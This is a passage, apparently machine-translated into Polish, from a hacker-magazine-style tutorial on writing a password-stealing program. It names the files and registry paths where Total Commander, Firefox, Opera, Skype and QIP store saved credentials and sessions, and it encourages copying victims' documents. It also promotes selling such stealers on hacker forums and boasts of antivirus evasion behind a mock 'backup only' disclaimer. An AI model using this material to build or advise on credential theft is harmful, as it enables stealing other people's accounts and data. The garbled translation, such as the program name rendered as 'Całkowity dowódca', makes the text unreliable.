    Całkowity dowódca- zdecydowanie najpopularniejszy menedżer plików. Program zawiera w przybliżeniu wagonik i mały wózek (i taki sam numer można do niego dołączyć za pomocą dodatkowych wtyczek). Interesuje nas tylko wbudowany klient FTP. Jest używany przez wielu, a hasła są oczywiście zapisywane.

    TC, w przeciwieństwie do wielu innych programów, nie przechowuje haseł w rejestrze, ale używa starych, dobrych plików ini. Hasła, a także wszystkie niezbędne dane do połączenia z serwerami (ip, port, nazwa użytkownika itp.) Całkowity dowódca przechowuje w pliku wcx_ftp.ini, który znajduje się niewinnie w folderze programu. Ścieżka do katalogu, w którym jest zainstalowany Całkowity dowódca, możesz dowiedzieć się z rejestru. Zajrzyj do gałęzi HKEY_CURRENT_USER\Software\Ghisler\Total Commander.

    firefox

    Dziś przeglądarka to nie tylko program do podróży WEB, ale całość, która oprócz różnych możliwości przechowuje wiele poufnych informacji. Typowym tego przykładem są formularze internetowe. 99% nowoczesnych witryn wymaga rejestracji. Zapamiętywanie i ciągłe pamiętanie o kombinacji login / hasło dla każdej witryny jest nierealistycznym zadaniem, zwłaszcza jeśli jesteś zaawansowanym użytkownikiem, a surfowanie po Internecie nie ogranicza się do samych Odnoklassniki i VKontakte.

    Twórcy ułatwili życie użytkownikom i wbudowali w programy tak zwane „skarbce haseł”. Zarejestrowałem się, zalogowałem na swoje konto, kazałem przeglądarce zapamiętać dane uwierzytelniające - i zapomniałem. Przy następnej wizycie wystarczy wykonać kilka kliknięć myszką i już jesteś na stronie. Skoro przeglądarka zapisuje hasła, oznacza to, że mamy możliwość kradzieży całej jej bazy danych.

  • sessionstore.js - plik zawiera wszystkie zapisane sesje.
  • signons3.txt - zaszyfrowane hasła (dla trzeciej wersji FF).
  • signons.sqlite - baza danych SQLite zawierająca wszystkie zaszyfrowane hasła.
  • key3.db - baza danych zawierająca klucze do certyfikatów.
  • Wszystkie te pliki znajdują się w dobrze znanym dokumencie Document and Settings\%UserName%\Application Data\Mozilla\FireFox\Profiles\%ProfileName% .

    Opera

    Opera- przeglądarka, która jest bardzo popularna wśród rosyjskich użytkowników. Oczywiście nie możemy tego zostawić bez opieki. Tak więc w Operze sytuacja jest mniej więcej taka sama jak w FireFoxie. Wszystkie hasła zapisane w przeglądarce są przechowywane w Document and Settings\%UserName%\Application Data\Opera\profile w pliku wand.dat. Okazuje się, że po wykryciu Opery postąpimy tak samo, jak w przypadku firefox.

    Skype

    Popularność Skype'a rośnie z każdym dniem. Wiele osób używa go nie do wykonywania połączeń, ale do banalnego wygodnego czatu. Wszystkie poufne dane, zgodnie z oczekiwaniami, znajdują się w profilu użytkownika (w tym samym miejscu, w którym przechowuje je Opera lub FF). Aby je „sprywatyzować”, musisz skopiować profil użytkownika z Document and Settings\%userName%\Application Data\Skype\ i wyeksportować gałąź rejestru - HKEY_CURRENT_USER\Software\Skype\ProtectedStorage .

    QIP

    Podobnie jak większość opisanych wcześniej programów, QIP przechowuje wszystkie zapisane hasła w Application Data\qip .

    Kopiowanie zakończone

    Technologia .NET znacznie uprościła nasze zadanie, w wyniku czego całe kodowanie zostało zredukowane do wywołania kilku metod. Oczywiście można powiedzieć, że to nie jest fajne i że takie rzeczy znacznie wydajniej pisać w WinAPI lub ASM” e. W pewnym sensie się z Tobą zgadzam, ale pamiętaj, na WinAPI, a zwłaszcza na Asmie , napisz taki program, ale szybko się nie uda. Podczas gdy inni piszą kilometrowy kod, ty i ja zbierzemy. Powodzenia w programowaniu, a jeśli masz jakieś pytania, pisz do mydła.

    Nie zapominaj, że wielu użytkowników przechowuje poufne informacje w folderze „Moje dokumenty”. Co najmniej mogą istnieć ciekawe dokumenty robocze, a czasem całe pliki z hasłami. Kiedyś (w mojej poprzedniej pracy) znalazłem na komputerze księgowego starannie sformatowany plik z hasłami dla klientów banku.

    Jako prawdziwy przyjaciel musisz pomóc wszystkim tym osobom w tworzeniu kopii zapasowych ich poufnych informacji.

    Wiele forów hakerskich zawiera wiele reklam dotyczących sprzedaży tego rodzaju oprogramowania. Różne ceny - od 10$ do 100$. Po sfinalizowaniu przykładów omówionych w artykule możesz zarobić skórkę czarnego chleba z kawiorem. Powtarzam, najważniejsze jest kreatywne podejście do sprawy i na pewno wszystko się ułoży. Znowu nie jest wykrywany przez programy antywirusowe ;).

    Ostrzeżenie!

    Używamy tego programu wyłącznie do terminowego tworzenia kopii zapasowych zawartości dysków flash na dysku i tworzenia kopii zapasowych haseł na dysku flash. I co pomyślałes? Nielegalne korzystanie z takiego oprogramowania jest karalne!